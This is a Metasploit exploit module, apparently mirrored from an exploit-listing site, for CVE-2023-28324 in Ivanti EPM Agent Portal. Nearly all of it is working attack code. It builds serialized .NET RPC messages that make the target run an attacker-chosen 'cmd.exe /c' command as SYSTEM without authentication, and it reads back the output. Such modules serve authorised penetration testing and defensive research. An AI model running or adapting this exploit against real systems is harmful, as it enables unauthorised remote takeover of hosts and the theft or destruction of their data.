Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-MISC-IVANTI_AGENT_PORTAL_CMDEXEC-
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'rex/proto/ms_nrtp/client'

class MetasploitModule < Msf::Exploit::Remote
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::Tcp

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti EPM Agent Portal Command Execution',
        'Description' => %q{
          This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method
          which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.
          This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.
        },
        'Author' => [
          'James Horseman', # original poc
          'Zach Hanley', # original poc
          'Spencer McIntyre' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-28324'],
          ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'],
          ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'],
        ],
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-06-07', # Ivanti article created date
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options([
      Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'),
    ])
    deregister_options('SSL')
  end

  def check
    cwd = execute_command('echo %cd%', 0)
    return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i

    CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}")
  rescue Rex::SocketError => e
    CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}")
  end

  def exploit
    execute_command(payload.raw)
  end

  def execute_command(command, result_delay = -1)
    if @nrtp_client.nil?
      @nrtp_client = client = IAgentPortal.new(
        datastore['RHOST'],
        datastore['RPORT'],
        'LANDeskAgentPortal/LDSM',
        context: { 'Msf' => framework, 'MsfExploit' => self }
      )
      client.connect
      vprint_status('Connected to the remote end point')
    else
      client = @nrtp_client
    end

    client.do_request(command)
    return nil unless result_delay >= 0

    sleep result_delay
    client.do_get_result
  end
end

class IAgentPortal < Rex::Proto::MsNrtp::Client
  def recv_binary
    Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv)
  end

  def send_recv_binary(serialized_stream)
    send_binary(serialized_stream)
    recv_binary
  end

  def do_request(shell_command)
    ss_response = send_recv_binary(ss_request(shell_command))
    method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] }
    method_return.record_value.return_value.val.value
  end

  def do_get_result
    ss_response = send_recv_binary(ss_get_result)
    ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] }
    return nil unless ass

    ass.record_value.members.first.record_value.string.value
  end

  private

  def ss_get_result
    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
      records: [
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
          record_value: {
            message_enum: {
              no_context: 1,
              args_inline: 1
            },
            method_name: 'GetResult',
            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb',
            args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }]
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] }
      ]
    })
  end

  def ss_request(shell_command)
    Msf::Util::DotNetDeserialization::Types::SerializedStream.new({
      records: [
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],
          record_value: {
            message_enum: {
              method_signature_in_array: 1,
              no_context: 1,
              args_in_array: 1
            },
            method_name: 'Request',
            type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb'
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes],
          record_value: {
            class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] },
            member_type_info: { binary_type_enums: [0], additional_infos: [8] },
            library_id: 11,
            member_values: [1]
          }
        },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes],
          record_value: {
            class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] },
            member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] },
            member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }]
          }
        },
        {
          record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId],
          record_value: {
            obj_id: 9,
            metadata_id: 8,
            member_values: [
              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } },
              4,
              { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }
            ]
          }
        },
        { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} }
      ]
    })
  end
end